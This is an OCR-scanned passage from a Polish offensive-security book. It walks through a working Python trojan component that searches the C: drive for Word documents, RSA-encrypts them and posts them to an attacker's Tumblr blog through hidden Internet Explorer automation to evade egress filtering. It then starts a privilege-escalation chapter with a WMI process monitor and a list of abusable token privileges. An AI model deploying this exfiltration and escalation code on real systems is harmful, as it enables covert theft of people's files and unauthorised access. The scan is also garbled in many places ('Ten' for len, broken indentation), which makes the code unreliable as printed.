mozna tez sprawdzié, co sie stanie, gdy w przegladarce Internet Explorer bedzie
juz otwarta strona Facebooka zalogowanego uzytkownika. Skrypt mith.py powi-
nien wymusié¢ wylogowanie. Wiesz juz, jak wykrasé dane poswiadczajace toz-
samo$¢ uzytkownika, wiec teraz naucze Cie tworzy¢ instancje przegladarki TE,
aby wykra$¢ informacje z docelowej sieci.

Wykradanie danych przy uzyciu COMii IE

Uzyskanie dostepu do docelowej sieci to dopiero potowa sukcesu. Aby mieé z tego
jakas korzy$¢, nalezy z docelowego systemu wydoby¢ dokumenty, arkusze kal-
kulacyjne lub inne dane. Ale jesli ktos zastosowal dobre zabezpieczenia, to opi-
sane zadania mogg by¢ trudne w realizacji. Lokalne lub zdalne systemy (albo
ich kombinacje) mogg weryfikowaé wszystkie procesy nawigzujace zdalne pola-
czenia oraz sprawdzaé, czy procesy te majg prawo do wysylania informacji lub
inicjowania polaczen z miejscami znajdujacymi sie poza siecig wewnetrzng.
Pewien znajomy kanadyjski specjalista od zabezpieczeni nazwiskiem Karim
Nathoo zauwazyl, ze mechanizm automatyzacji IE COM moze uzywaé procesu
Iexplore.exe, ktéry zazwyczaj cieszy sie zaufaniem i znajduje sie na bialej liscie.
Mozna to wykorzystaé¢ do wykradania danych z komputera uzytkownika.
Napiszemy wiec skrypt w Pythonie, ktéry najpierw bedzie wyszukiwat w lo-
kalnym systemie plikéw dokumentéw programu Microsoft Word. Gdy znajdzie
taki dokument, zaszyfruje go przy uzyciu klucza publicznego'. Nastepnie skrypt

! Pakiet Pythona PyCrypto mozna pobraé ze strony hitp:/fwww.voidspace.org.uk/python/modules.shiml
S#pycrypto).
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zautomatyzuje proces wysylania tego zaszyfrowanego dokumentu do bloga w por-
talu tumblr.com. Tam go zostawimy i odbierzemy, kiedy nam sie spodoba, bez
obawy, ze zostanie odczytany przez kogo$ niepowolanego. Dzieki wykorzystaniu
zaufanego serwisu typu Tumblr powinni$my tez ominaé¢ wszelkie filtry oparte na
czarnych listach, ktére moglyby uniemozliwi¢ nam wyslanie dokumentu do kon-
trolowanego przez nas serwera. Zaczniemy od napisania kilku funkcji pomocni-
czych. Utworz plik ie_exfil.py i wpisz do niego ponizszy kod:

import win32com.client
import os

import fnmatch

import time

import random

import z1ib

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1 OAEP

doc_type = ".doc"
username = "test@test.com"
password = "testpassword"
public_key = ""

def wait_for_browser(browser):

# Czeka, az przeglgdarka skoviczy tadowanie strony
while browser.ReadyState != 4 and browser.ReadyState != "complete":
time.sTeep(0.1)

return

Zaimportowalismy potrzebne sktadniki, utworzylismy typy dokumentéw, kto-
rych bedziemy szukaé, zdefiniowalismy nazwe uzytkownika i hasto do portalu
Tumblr oraz dodali$my zmienng do przechowywania klucza publicznego, ktéry
wygenerujemy pézniej. Teraz dodamy mechanizmy do szyfrowania nazw i za-
warto$ci plikéw.

def encrypt string(plaintext):
chunk_size = 256
print "Kompresowanie: %d bajtow" % len(plaintext)
plaintext = zlib.compress(plaintext)

print "Szyfrowanie %d bajtow" % len(plaintext)

rsakey = RSA.importKey(public_key)
rsakey = PKCS1_OAEP.new(rsakey)
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0

encrypted =
offset

while offset < Ten(plaintext):
chunk = plaintext[offset:offset+256]

if Ten(chunk) % chunk size != 0:
chunk += " " * (chunk_size - len(chunk))

encrypted += rsakey.encrypt(chunk)
offset += chunk_size

encrypted = encrypted.encode("base64")
print "Szyfr Base64: %d" % Ten(encrypted)
return encrypted

def encrypt_post(filename):

# otwarcie i odczytanie pliku
fd = open(filename,"rb")
contents = fd.read()
fd.close()

encrypted_title = encrypt_string(filename)
encrypted body = encrypt string(contents)

return encrypted title,encrypted body

Funkcja encrypt_post pobiera nazwe pliku i zwraca zakodowane w formacie
base64 nazwe pliku i jego tresé. Najpierw wywolujemy najwazniejszg funkcje
encrypt_string @, przekazujac jej nazwe docelowego pliku, ktéra zostanie wy-
korzystana jako tytul wpisu w Tumblr. Pierwsza czynnoscia w tej funkcji jest
skompresowanie pliku algorytmem zlib @, a nastepng — utworzenie obiektu
szyfrujacego kluczem publicznym RSA @ za pomocy wygenerowanego klucza
publicznego. Pézniej przegladamy iteracyjnie zawartosé pliku @ i szyfrujemy jg
w 256-bajtowych porcjach, poniewaz jest to maksymalny rozmiar porcji w szy-
frowaniu RSA przy uzyciu biblioteki PyCrypto. Jesli ostatni fragment pliku @
nie ma 256 bajtéw dtugosci, dopelniamy go spacjami, aby nie mie¢ probleméw
z jego zaszyfrowaniem i p6zniejszym rozszyfrowaniem. Po utworzeniu zaszy-
frowanego lancucha kodujemy go algorytmem base64 @ i zwracamy. Kodo-
wanie base64 stosujemy po to, by unikngé ktopotéw przy publikowaniu tresci
na blogu Tumblr.

Majac gotowe procedury szyfrowania, mozemy zajaé sie mechanizmami lo-
gowania i nawigacji po kokpicie Tumblr. Niestety w internecie nie da sie szybko
i fatwo wyszukiwaé¢ elementéw interfejsu uzytkownika. Musialem poswiecié¢ pot
godziny na prace z uzyciem narzedzi dla programistéw przegladarki Google
Chrome, aby zbadaé kazdy potrzebny mi element HTML. Ponadto w ustawieniach
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Tumblr wlaczytem tekstowy tryb edycji, co spowodowalo wylaczenie przeszkadza-
jacego edytora napisanego w JavaScripcie. Jesli checesz skorzystaé z innej ustugi,
to musisz samodzielnie okregli¢ czasy, interakcje z DOM i elementy HTML.
Na szcze$cie Python ulatwia proces automatyzacji. Dodajmy troche kodu!

def random sleep():
time.sTeep(random.randint(5,10))
return

def Togin_to_tumbIr(ie):

# pobranie wszystkich elementéw z dokumentu
full_doc = ie.Document.all

# iteracyjne poszukiwanie formularza wylogowywania
for i in full_doc:

if i.id == "signup_email":
i.setAttribute("value",username)
elif i.id == "signup password":

i.setAttribute("value" ,password)
random_sleep()

# Strona gléwna moze réznie wyglgdac

if ie.Document.forms[0].id == "signup_form":
ie.Document.forms[0].submit()

else:
ie.Document.forms[1].submit()

except IndexError, e:
pass

random_sleep()

# Formularz logowania jest drugi na stronie
wait_for_browser(ie)

return

Utworzyli§my prostg funkcje o nazwie random_sleep @ zasypiajaca na losows
ilo§¢ czasu. W tym czasie przegladarka moze wykona¢ czynnosci, ktérych ukon-
czenie nie jest sygnalizowane w DOM. Ponadto taki losowy element imituje ludzkie
zachowanie. Funkcja Togin_to_tumblr pobiera wszystkie elementy z modelu
DOM 8 i szuka wsréd nich pél adresu e-mail i hasta ©, a nastepnie ustawia je
na podane przez nas warto$ci (nie zapomnij zatozy¢ konta). Ekran logowania
w serwisie Tumblr za kazdym razem moze by¢ nieco inny, wiec nastepny fragment
kodu @ szuka formularza logowania i odpowiednio go zatwierdza. Po wykonaniu
tej operacji powinni§my by¢ zalogowani w kokpicie Tumblr i gotowi do opubli-
kowania informacji. Teraz dodamy kod odpowiadajgcy wlasnie za te czynnosé.
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def post_to_tumblr(ie,title,post):
full_doc = ie.Document.all

for i in full_doc:

if i.id == "post_one":
i.setAttribute("value",title)
title_box = i
i.focus()

elif i.id == "post_two":
i.setAttribute("innerHTML",post)
print "Ustawienie obszaru tekstowego"
i.focus()

elif i.id == "create_post":
print "Znaleziono przycisk zatwierdzania
post_form = i
i.focus()

# zdjecie fokusu z gléwnego pola tresci
random_sleep()

(1] title_box.focus()
random_sleep()

# wyslanie formularza
post_form.children[0].click()
wait_for_browser(ie)

random_sleep()

return

W tym kodzie nie ma w zasadzie nic nowego. Po prostu szukamy w drzewie
DOM miejsca na tytul i tre§¢ wpisu na blogu. Funkcja post_to_tumblr pobiera
tylko instancje przegladarki oraz zaszyfrowane tytul i tresé pliku do opubliko-
wania. Zastosowalem tez sztuczke (nauczytem sie jej podczas uzywania narzedzi
dla programistéw w przegladarce Chrome) @ polegajaca na zdjeciu fokusu
z tresci gléwnej wpisu, aby skrypty JavaScript portalu Tumblr uaktywnily przy-
cisk zatwierdzania formularza. Warto sobie zanotowac¢ ten drobiazg na wypadek,
gdyby$ chciat zastosowaé podobng technike w innym serwisie. Skoro mozemy
sie juz zalogowadé i opublikowaé wpis w Tumblr, mozemy doda¢ ostatnie po-
trzebne nam fragmenty kodu.

def exfiltrate(document_path):

ie = win32com.client.Dispatch("InternetExplorer.Application")
je.Visible = 1

o0

# przejscie do portalu Tumblr i zalogowanie sig
je.Navigate("http://www.tumblr.com/Togin")
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wait_for_browser(ie)

print "Logowanie..."
Togin_to_tumblr(ie)
print "Zalogowano..."

ie.Navigate("https://www.tumblr.com/new/text")
wait_for_browser(ie)

# szyfrowanie pliku
title,body = encrypt post(document path)

print "Tworzenie nowego wpisu..."
post to tumblr(ie,title,body)
print "Opublikowano!"

# skasowanie instancji przegladarki IE
ie.Quit()
ie = None

return

# glowna petla wykrywania dokumentow
# UWAGA: pierwsza linijka ponizej nie moze byc wcigta
for parent, directories, filenames in os.walk("C:\\"): @
for filename in fnmatch.filter(filenames,"*%s" % doc_type):
document_path = os.path.join(parent,filename)
print "Znaleziono: %s" % document_path
exfiltrate(document_path)
raw_input ("Kontynuowac?")

Funkcja exfiltrate bedzie wywolywana dla kazdego dokumentu, ktéry ze-
chcemy zapisa¢ w Tumblr. Tivorzy ona instancje obiektu COM przegladarki In-
ternet Explorer @ — najlepsze jest to, ze mozna utworzyé widoczny lub niewi-
doczny proces 8. Do celéw testowych pozostaw ustawienie 1, ale jesli cheesz
pozosta¢ niewykrywalny, zmien ja na 0. Jest to bardzo przydatne, gdy trojan
wykryje jakas$ inng aktywnos$é. Woéwcezas mozna rozpoczaé wykradanie doku-
mentéw, aby lepiej zamaskowaé swoje poczynania, mieszajac je z czynnoSciami
uzytkownika. Po wykonaniu wszystkich funkcji pomocniczych zamykamy naszg
instancje przegladarki Internet Explorer © i zwracamy warto$¢. Ostatnia czes§é
skryptu @ przeglada zawarto$¢ dysku C:\ i wyszukuje pliki z ustawionym przez
nas rozszerzeniem (w tym przypadku jest to .doc). Sciezke do kazdego znalezio-
nego pliku przekazujemy do funkcji exfiltrate.

Pozostalo jeszcze upichcenie na szybkiego prostego skryptu do generowania
kluczy RSA oraz skryptu deszyfrujacego zaszyfrowany tekst z Tumblr do postaci
tekstowej. Utworz plik keygen.py i wpisz do niego nastepujacy kod:
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from Crypto.PublicKey import RSA

new_key = RSA.generate(2048, e=65537)
public_key = new_key.publickey().exportKey("PEM")
private_key = new_key.exportKey("PEM")

print public_key
print private_key

Wtlasnie tak! Python jest tak kosmiczny, ze wystarczy kilka wierszy kodu.
Kod ten wyswietla zaré6wno klucz prywatny, jak i publiczny. Skopiuj klucz
publiczny do pliku ie_exfil.py. Nastepnie utwo6rz nowy plik Python o nazwie
decryptor.py i wpisz w nim ponizszy kod (klucz prywatny wpisz jako wartosé
zmiennej private_key):

import z1ib

import base64

from Crypto.PublicKey import RSA
from Crypto.Cipher import PKCS1_OAEP

private_key =

rsakey = RSA.importKey(private key)
rsakey = PKCS1_OAEP.new(rsakey)

chunk_size= 256

offset =0

decrypted = ""

encrypted = base64.b64decode(encrypted)

while offset < Ten(encrypted):
decrypted += rsakey.decrypt(encrypted[offset:offset+chunk_size])
offset += chunk_size

# dekompresja do pierwotnej postaci
plaintext = zlib.decompress(decrypted)

print plaintext

Doskonale! Utworzylismy egzemplarz naszej klasy RSA przy uzyciu klucza
prywatnego @, a nastepnie zdekodowali§my zakodowane algorytmem base64 @
informacje z Tumblr. Podobnie jak w petli kodujacej, po prostu pobieramy
256-bajtowe porcje danych © i deszyfrujemy je, budujac pierwotny taricuch
tekstu. Ostatnim krokiem @ jest dekompresja tadunku, ktéry wezesniej zostal
poddany kompresji.
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Czy to w ogdle dziata

Kod ten zawiera wiele ruchomych czesci, ale calosé i tak jest tatwa w obstudze.
Wystarczy uruchomié skrypt ie_exfil.py w Windowsie i poczekaé na pojawienie
sie wpisu w Tumblr. Jesli pozostawisz przegladarke Internet Explorer na widoku,
to bedziesz mégl oglada¢ caly proces. Po jego zakoficzeniu w serwisie Tumblr
powinienes$ znalezé wpis podobny do przedstawionego na rysunku 9.1.

CFTKD
f,?;%g%f

- "'.»f.

Untitled

eyWV7DrWusY2I4RG9JIIVOFAb6RwQqqgXnf1Q
SnU+3T4W3to/UfX4dzx0CKnD+PcdzZWwbdOH
zaCbBYXL/TIP1FSCvSo03dmilOPb/gwGemdW
PFWqKf02mBNMCea0sMvndfDgjo9X1RQB3r
WsIrEunl7F9bFzelOCZuGf4ECCddbnEAPHCP
PuGHoCIK9RW(qlviIBwzfUb9jE4vDANVDvVZIpK1
0ONOO0XIqc6LVtR7tWcvNflkRzpmmYvmiUD3/
7TkFyJW2gNvGdU20RVqOloKuoKBOYKdY1+La
DznMPTizwC6SDn8Xgi7CicOHdear4e+SgL0oj
PswaNNHgpECJQ1kTKFnAA==

UtIhZijYaHrZg 1FnwUHX00Sy Yag+ COTT+WOZ4a/quLWMpBAICKISgIFjolXHx20wFxI9Wsa
MJIYN

JHy1C38zE3+uB3HgZ)loBa9al 5IQ8LCIsThdMN TeTMewl AzPwixgdvl xHTesBOxBva2V1 Rupc+1
aacG

13BqtlkyCn/CJpKirMbCOOIMBUSwWaQyyaGd4 Cm|CIFTuGAlcUNISnLipWBKIhHdbz OV daUy
OdiX+

rT3YkCdBduBMURAGLyIbtB BEHPsWICAOECOWYGnoWkBhaORKIBX4UNVCIZP+|JC2WOYaR
Sajgvz/

20YtibdaBneHB8oDOvLORajx Bt Telbyf84bitB ==

Rysunek 9.1. Zaszyfrowana nazwa pliku

Na rysunku wida¢ dtugi zaszyfrowany tekst reprezentujacy nazwe naszego
pliku. Jesli przewiniesz zawarto$é okna, to znajdziesz koniec tytulu, ktéry jest
napisany tlustym drukiem. Mozesz go skopiowaé¢ do pliku decryptor.py, a na-
stepnie uruchomi¢ ten skrypt. Wynik powinien by¢ nastepujacy:

#:> python decryptor.py
C:\Program Files\Debugging Tools for Windows (x86)\dml.doc
#:>
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Doskonale! Skrypt ie_exfil.py pobral dokument z katalogu narzedzi diagno-
stycznych systemu Windows, wyslal jego zawartosé do serwisu Tumbly, a ja na
swoim komputerze rozszyfrowalem nazwe tego pliku. Oczywiscie aby rozszyfro-
waé cala tresé pliku, nalezy zastosowa¢ sztuczki opisane w rozdziale 5. (z uzy-
ciem bibliotek ur11ib2 i HTMLParser), ale pozostawiam to jako zadanie domowe.
Kolejng wartg rozwazenia kwestia jest dopelnienie w skrypcie ie_exfil.py ostat-
nich 256 bajtéw spacjami, ktére moga spowodowaé¢ uszkodzenie niektérych
formatéw plikéw. Innym pomystem jest zaszyfrowanie pola dlugosci na poczatku
tresci wpisu na blogu, aby mozna bylo sprawdzi¢, jaki byt oryginalny rozmiar pliku
przed jego zaszyfrowaniem. Potem mozna wezytaé te dtugosé i po rozszyfrowaniu
tre$ci wpisu odcigé odpowiednig liczbe bajtow.
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Zwickszanie uprawhnien
w systemie Windows

UDALO CI SIE ZAKOTWICZYC W SWIEZUTKIE] SIECI KOMPUTEROW Z SYSTEMEM
WINDOWS. ZROBILES TO DZIEKI ZDALNEMU PRZEPELNIENIU STERTY ALBO
STOSUJAC METODE PHISHINGU. TERAZ CHCIALBYS JAKOS ZWIEKSZYC SOBIE
uprawnienia, a jesli juz jestes uzytkownikiem SYSTEM lub Administrator, to pewnie
chcialby$ poznaé kilka sztuczek pozwalajacych uzyskaé takie uprawnienia na
wypadek, gdyby jaka$ tatka zabezpieczeni Cie ich pozbawita. Poza tym warto
mie¢ w zanadrzu kilka mozliwosci, bo niektére firmy uzywaja programow, kto-
rych nie da sie przeanalizowa¢ we wlasnym srodowisku albo ktérych nie spotka
sie nigdzie indziej. Techniki zwigkszania poziomu uprawnieri najczesciej opie-
rajg sie na wykorzystaniu luk w sterownikach albo jadrze systemu Windows, ale je-
§li uzyje sie zle napisanego eksploita lub wystapia jakie$ problemy podczas jego
stosowania, mozna zdestabilizowaé system. Dlatego w tym rozdziale opisuje pew-
ne inne sposoby zwiekszania poziomu uprawnienn w Windowsie.
Administratorzy systeméw w duzych firmach czesto postugujg sie harmono-
gramami wykonujacymi rézne czynnosci i ustugi uruchamiajace procesy po-
tomne oraz automatyzacyjne skrypty VBScript i PowerShell. Takze dostawcy
oprogramowania automatyzuja r6zne czynno$ci na podobne sposoby. Sprébu-
jemy wiec wykorzysta¢ majace wysokie uprawnienia procesy obstugujace pliki



lub procesy wykonujace pliki binarne z mozliwoscig zapisu przez uzytkownikéw
o niskich uprawnieniach. Jest wiele sposobéw zwigkszania uprawnien w syste-
mie Windows i w tym rozdziale opisuje tylko kilka z nich. Ale jesli zrozumiesz
podstawowe koncepcje, bedziesz mégt dodaé do swoich skryptéw whasne funk-
cje eksplorujace inne ciemne zautki systemu Windows.

Zaczne od pokazania, jak przy uzyciu technologii Windows WMI utworzy¢
elastyczny interfejs do monitorowania przebiegu tworzenia nowych proceséw.
Bedziemy zbiera¢ takie informacje jak $ciezki do plikéw, nazwa uzytkownika
tworzgcego proces oraz posiadane przez niego uprawnienia. Potem wszystkie
zgromadzone $ciezki przekazemy do skryptu monitorujacego pliki, ktéry bedzie
rejestrowat nowo tworzone pliki i zapisywang w nich tresé. W ten sposéb do-
wiemy sie, ktére pliki sa uzywane przez procesy o wysokich uprawnieniach oraz
gdzie s one przechowywane. Ostatnim krokiem bedzie przechwycenie procesu
tworzenia pliku, aby wstrzyknaé¢ do niego kod skryptowy i zmusi¢ go do wyko-
nania polecefi powloki. Piekno tej techniki polega na tym, ze nie angazuje zad-
nych uchwytéw do API, dzieki czemu jest niewykrywalna dla wiekszosci pro-
graméw antywirusowych.

Instalacja potrzebnych narzedzi

156

Do utworzenia narzedzi opisanych w tym rozdziale potrzebnych jest kilka bibliotek.
Jesli wykonales instrukcje opisane na poczatku ksigzki, to mozesz uzywaé na-
rzedzia easy_install. Jesli nie, wr6é do rozdziatu 1., aby dowiedzie¢ sie, jak je
zainstalowad.

Wykonaj ponizsze polecenie w konsoli cmd.exe w maszynie wirtualnej z Win-
dowsem:

C:\> easy_install pywin32 wmi

Jesli powyzsze polecenie nie zadziala, pobierz instalator biblioteki PyWin32
bezposrednio ze strony http://sourceforge.net/projects/pywin32/.

Nastepnie zainstalujemy przykladows ustuge, utworzong dla mnie przez re-
daktor6w merytorycznych, Dana Frischa i Cliffa Janzena. Usluga ta imituje ty-
powe luki w zabezpieczeniach wykryte przez nas w duzych sieciach firmowych
i postuzy mi do demonstracji przyktadéw.

1. Pobierz plik ZIP ze strony internetowe;j ksigzki, http:/www.helion.pl/
ksiazki/blwahap.him. Po rozpakowaniu archiwum przejdz do folderu
r10\bhvulnservice.

2. Zainstaluj ustuge przy uzyciu dostarczonego skryptu wsadowego
install_service.bat. Pamietaj, Ze czynno$ci te musisz wykona¢ jako
administrator.

Jesli wszystko péjdzie zgodnie z oczekiwaniami, mozesz przej$é do najcie-
kawszej czesci!
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Tworzenie monitora procesow

Bralem kiedys udzial w projekcie Immunity o nazwie El Jefe, ktéry zasadniczo
jest bardzo prostym systemem do monitorowania proceséw z centralnym me-
chanizmem rejestracji danych diagnostycznych (http://eljefe.immunityinc.com/).
Narzedzie to stuzy specjalistom od zabezpieczen do §ledzenia sposob6w tworzenia
proceséw i instalacji zto§liwego oprogramowania. Pewnego dnia jeden z moich
wspoélpracownikéw i konsultant Mark Wuergler podpowiedzial nam, abySmy
wykorzystali El Jefe jako lekki mechanizm do monitorowania proceséw wyko-
nywanych jako SYSTEM na naszych docelowych maszynach z systemem Windows.
W ten spos6b moglismy zdoby¢ informacje o potencjalnie niebezpiecznych pro-
cesach tworzenia plikéw i procesach potomnych. Udalo sie, dzieki czemu wykry-
lismy wiele btedéw pozwalajacych zwiekszyé poziom uprawnien uzytkownika
i otrzymalismy klucz do krélestwa.

Najwieksza wada pierwotnej wersji El Jefe bylo wstrzykiwanie pliku DLL
do kazdego procesu w celu przechwycenia wywotan wszystkich form macierzy-
stej funkcji CreateProcess. Nastepnie przy uzyciu nazwanego potoku program
komunikowat sie z klientem kolekcji, ktéry przekazywal dane dotyczace two-
rzenia procesu do serwera danych. Problem polegal na tym, ze wiekszo$¢ pro-
graméw antywirusowych takze przechwytuje wywotania funkcji CreateProcess,
przez co kwalifikuja nasz program jako zlosliwy albo system staje sie niestabilny.
W tym rozdziale odtworzymy niektére funkcje monitora El Jefe bez uzycia
uchwytéw i wykorzystamy je do przeprowadzania atakéw zamiast do monitoro-
wania. W ten spos6b nasze rozwigzanie powinno staé sie przeno$ne i dziataé
bezproblemowo wraz z programami antywirusowymi.

Monitorowanie proceséw przy uzyciu WMI

API WMI umozliwia monitorowanie pewnych zdarzefi w systemie i wykony-
wanie wywolan zwrotnych, gdy zdarzenia te wystgpig. Wykorzystamy ten in-
terfejs do odbierania wywotan zwrotnych za kazdym razem, gdy zostanie utwo-
rzony proces. W chwili rozpoczecia procesu bedziemy przechwytywaé cenne
informacje — czas utworzenia, nazwe uzytkownika, ktéry utworzyl proces, plik
wykonywalny i jego argumenty z wiersza polecen, identyfikator procesu oraz
identyfikator procesu nadrzednego. W ten spos6b znajdziemy wszystkie proce-
sy utworzone przez konta o wysokim poziomie uprawnien, a w szczegdélnosci
wszystkie takie, ktére wywolujg zewnetrzne pliki, np. VBScript czy skrypty
wsadowe. Majac wszystkie te informacje, sprawdzimy tez, jakie uprawnienia sa
wlaczone w tokenach procesu. W pewnych rzadkich przypadkach mozna wy-
kryé¢ procesy tworzone przez zwyklego uzytkownika, ale majace przyznane do-
datkowe uprawnienia, ktére mozna wykorzystaé.

Zaczniemy od utworzenia bardzo prostego skryptu monitorujacego’ dostar-
czajacego podstawowych informacji o procesie i na ich podstawie sprawdzaja-
cego, jakie sg dostepne uprawnienia. Pamietaj, ze aby przechwycié¢ informacje

! Kod zostal zaadaptowany ze strony http://timgolden.me.uk/python/wmi/tutorial. html.
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o procesach z wysokimi uprawnieniami tworzonymi np. przez SYSTEM, skrypt
musi by¢ uruchomiony jako administrator. Utworz plik process_monitor.py i wpisz
do niego ponizszy kod:

import win32con
import win32api
import win32security

import wmi
import sys
import os

def log to file(message):
fd = open("process_monitor_log.csv", "ab")

fd.write("%s\r\n" % message)
fd.close()

return

# utworzenie nagtéwka dziennika
1og_to_f11e("Time,User,Executab]e,CommandLine,PID,Parent PID,Privileges")

# utworzenie egzemplarza interfejsu WMI
Q@ c = wmi.WMI()

# utworzenie monitora proceséw
® process_watcher = c.Win32_Process.watch_for("creation")

while True:
try:
(3] new_process = process_watcher()
(4] proc_owner = new_process.GetOwner()

proc_owner = "%s\\%s" % (proc_owner[0],proc_owner[2])
create_date = new_process.CreationDate

executable = new_process.ExecutablePath

cmdline = new_process.CommandLine

pid = new_process.ProcessId

parent pid = new_process.ParentProcessId

privileges = "N/A"

no o

process_log_message = "%s,%S,%S,%S,%5,%S,%s\r\n" % (create_date, -
proc_owner, executable, cmdline, pid, parent pid, privileges)

print process_log_message
Tog_to_file(process_log_message)

except:
pass

158 Rozdziat 10



Najpierw tworzymy egzemplarz klasy WMI @ i nakazujemy mu obserwo-
waé zdarzenia tworzenia proceséw @. W dokumentacji WMI Pythona mozna
sie dowiedzieé, ze istnieje mozliwo§é monitorowania zdarzen tworzenia i usu-
wania proceséw. Jesli zechcesz $cisle monitorowaé zdarzenia proceséw, mozesz
wykorzysta¢ odpowiednia operacje i odbiera¢ powiadomienia o kazdym zdarze-
niu majacym miejsce w procesie. Dalej zaczyna sie petla, ktéra zostaje zablo-
kowana do czasu, az funkcja process_watcher zwréci nowe zdarzenie dotyczace
procesu ©. To nowe zdarzenie procesu jest klasa WMI o nazwie Win32_Process’
zawierajaca wszystkie potrzebne nam informacje. Jedna z jej funkcji to GetOwner.
Wywolujemy jg @, aby dowiedzie¢ sie, kto utworzyt proces, oraz pobieramy
wszystkie interesujace nas informacje o procesie, ktére wyswietlamy na ekranie
i rejestrujemy w dzienniku.

Czy to w ogdle dziata

Uruchomimy nasz monitor proceséw i utworzymy kilka proceséw, aby zobaczyé,
jak to dziata.

C:\> python process_monitor.py

20130907115227.048683-300,JUSTIN-V2TRL6LD\Administrator,C: \WINDOWS\system32\
“>notepad.exe,"C: \WINDOWS\system32\notepad.exe" ,740,508,N/A

20130907115237.095300-300,JUSTIN-V2TRL6LD\Administrator,C: \WINDOWS\system32\
>calc.exe,"C: \WINDOWS\system32\calc.exe" ,2920,508,N/A

Uruchomilem skrypt, a nastepnie wlaczylem programy notepad.exe i calc.exe.
W konsoli pojawily sie informacje o tych procesach, ktérych proces nadrzedny
ma identyfikator PID 508 nalezacy w mojej maszynie wirtualnej do programu
explorer.exe. W tym momencie mozna sobie zrobi¢ dluzszg przerwe i pozosta-
wi¢ ten skrypt na caly dzien, aby zobaczyé¢, jak dziataja rézne procesy, zaplano-
wane zadania i aktualizatory oprogramowania. Jesli masz nie(szczescie), to moz-
liwe, ze wykryjesz przy okazji jakies zlosliwe programy. Warto tez wylogowaé
sie 1 zalogowa¢ sie ponownie w maszynie docelowej, poniewaz zdarzenia gene-
rowane przy tych czynnosciach moga ujawniaé procesy z wysokimi uprawnie-
niami. Mamy gotowy prosty monitor proceséw. Teraz poszukamy warto$ci dla
pola privileges w zarejestrowanych przez nas danych i zobaczymy, jak dziataja
uprawnienia w systemie Windows oraz dlaczego sa one takie wazne.

% Dokumentacja klasy Wi n32_Process znajduje sie na stronie: http://msdn.microsoft.com/en-us/library/
aa394372(v=vs.85).aspx.
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Uprawnienia tokenow Windows

Token Windows to, wedtug Microsoftu, ,,obiekt opisujacy kontekst zabezpie-
czen procesu lub watku®”. Sposéb inicjacji tokenu i ustawione w nim uprawnie-
nia decydujg o tym, jakie czynnosci dany proces lub watek moze wykonywad.
Zwykly programista moze utworzyé aplikacje dzialajacqg w zasobniku systemo-
wym w ramach pakietu zabezpieczajacego. Aplikacja ta powinna mie¢ mozli-
wo$¢ kontrolowania jako uzytkownik bez specjalnych uprawnien gléwnej ustugi
Windows, ktéra jest sterownikiem. Programista ten wykorzystuje macierzysty
funkcje interfejsu API systemu Windows AdjustTokenPrivileges w procesie
i nie majac nic zlego na mysli, przydziela aplikacji z zasobnika uprawnienie
SetLoaderDriver. Zapomnial jednak o tym, ze jesli haker wejdzie do tej apli-
kacji, to r6wniez bedzie mégl tadowaé i usuwaé dowolne sterowniki, a wiec be-
dzie m6gt réwniez zainstalowad rootkit jadra — i nastepuje koniec gry.

Pamietaj, ze jesli nie mozesz uruchomié swojego monitora proceséw jako
SYSTEM lub administrator, to powiniene$ zbadaé, ktére procesy mozesz monito-
rowad, i poszukaé dodatkowych uprawnienn do wykorzystania. Proces dzialajacy
jako nasz uzytkownik z nieodpowiednimi uprawnieniami pozwala dosta¢ sie do
uzytkownika systemowego lub uruchomié¢ kod w jadrze. W tabeli 10.1 znajduje
sie lista przydatnych uprawnien, ktérych zawsze szukam. Nie sa to wszystkie
przydatne uprawnienia, ale od nich warto zacza¢”.

Tabela 10.1. Ciekawe uprawnienia

Uprawnienie Uzyskiwany dostep

SeBackupPrivilege Umozliwia procesowi uzytkownika robienie kopii zapasowych plikéw i katalogéw
oraz przyznaje prawo do odczytu plikéw bez wzgledu na zawartos¢ ich listy ACL

SeDebugPrivilege Umozliwia procesowi uzytkownika debugowanie innych proceséw. Dotyczy to takze tworzenia
uchwytéw do proceséw w celu wstrzykiwania plikéw DLL lub kodu do dziafajacych proceséw

SelLoadDriver Umozliwia procesowi uzytkownika tadowanie i usuwanie sterownikéw

Majac podstawowe wiadomos$ci o uprawnieniach i wiedzac, ktérych najle-
piej szukad, sprébujemy za pomocg Pythona automatycznie sprawdzaé, jakie
uprawnienia maja monitorowane przez nas procesy. Wykorzystamy moduty
win32security, win32api oraz win32con. Jesli nie uda Ci sie zatadowa¢ ktéregos
z nich, to wszystkie przedstawione ponizej funkcje mozna przettumaczyé na
macierzyste wywolania przy uzyciu biblioteki ctypes, choé wymaga to sporo
pracy. Dodaj ponizszy kod do pliku process_monitor.py bezposrednio nad funk-
cja log _to file:

> MSDN — tokeny dostepu: http://msdn.microsoft.com/en-us/library/Aa374909.aspx.

* Liste wszystkich uprawniei mozna znalezé na stronie http://msdn.microsoft.com/en-us/library/windows/
desktop/bb530716(v=0s.85).aspx.
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def get process_privileges(pid):

try:

# utworzenie uchwytu do docelowego procesu
hproc = win32api.OpenProcess(win32con.PROCESS QUERY INFORMATION,
>False,pid)

# otwarcie tokenu gléwnego procesu
htok = win32security.OpenProcessToken (hproc,win32con.TOKEN_QUERY)

# pobranie listy uprawnien
privs = win32security.GetTokenInformation(htok, win32security.
>TokenPrivileges)

# iteracja przez uprawnienia i zwrot dostgpnych
priv_list = "*
for i in privs:
# Sprawdza, czy uprawnienie jest dostgpne
if i[1] == 3:
priv_list += "%s|" % win32security.
>LookupPrivilegeName(None,i[0])

except:

priv_1ist = "N/A"

return priv_list

Przy uzyciu identyfikatora procesu utworzylisémy uchwyt do procesu docelo-
wego @. Nastepnie otworzylismy token procesu @ i wykorzystalismy go zdobycia
informacji o tym procesie ®. Wysylajac strukture win32security.TokenPrivileges,
nakazujemy wywotaniu API zwrécenie wszystkich informacji o danym procesie.
Funkcja zwraca liste krotek, ktorej pierwszy element jest uprawnieniem, a drugi
informacja, czy dane uprawnienie jest wlaczone. Poniewaz nas interesuja, tylko
dostepne uprawnienia, najpierw szukamy wlaczonych elementéw @, a potem
wyszukujemy ich czytelne nazwy .

Nastepnie zmodyfikujemy istniejacy kod tak, aby poprawnie wyswietlat i reje-
strowal zdobywane informacje. Zamieni ponizszy wiersz kodu:

privileges

na ten:

IIN/AII

privileges = get process_privileges(pid)

Teraz uruchomimy skrypt process_monitor.py, aby sprawdzié, jak dzialaja
wprowadzone modyfikacje. W konsoli powinny pojawi¢ sie informacje o upraw-
nieniach, jak pokazano ponizej:
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C:\> python.exe process_monitor.py
